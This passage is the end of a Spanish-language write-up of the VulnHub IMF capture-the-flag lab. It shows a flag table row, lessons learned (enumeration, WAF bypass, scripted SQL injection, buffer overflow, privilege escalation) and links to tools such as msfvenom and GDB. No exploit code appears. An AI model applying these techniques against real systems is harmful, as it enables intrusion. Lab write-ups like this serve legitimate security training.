| Flag 6 | Gh0stProt0c0ls | /root/flag6.txt | Buffer Overflow + Escalada |
Reflexiones Finales y Lecciones Aprendidas
Lecciones Clave del CTF
Este reto de VulnHub IMF demostró la importancia de:
Reconocimiento Exhaustivo: Nunca subestimes el análisis de código fuente, comentarios HTML y metadatos. Las banderas frecuentemente contienen pistas valiosas.
Atención al Detalle: Cada flag fue un paso hacia la siguiente fase. El CTF está diseñado como una cadena lógica donde cada descubrimiento te acerca más.
Metodología Sistemática: Desde enumeración básica con nmap, hasta explotación avanzada con análisis binario. Cada paso se construye sobre el anterior.
Persistencia y Paciencia: Algunos vectores requerían múltiples intentos, fuzzing extenso y pensamiento creativo (como el bypass del WAF).
Automatización Estratégica: Mientras que la comprensión manual es valiosa, la automatización (script Python para SQLi) es esencial para escalar en el tiempo.
Profundidad Técnica: Desde vulnerabilidades web aplicadas hasta análisis de binarios de bajo nivel, el pentesting requiere conocimiento en múltiples capas.
Referencias y Recursos Adicionales
Documentación Oficial
Máquinas y Plataformas
Herramientas y Documentación
- Nmap - Official Documentation
- Burp Suite Community Edition
- msfvenom - Metasploit Payload Generator
- GDB Debugger Guide
- GEF - GDB Enhanced Features
Comunidades
Última Actualización: Noviembre 30, 2025
Autor: NeTenebrae
GitHub: github.com/NeTenebraes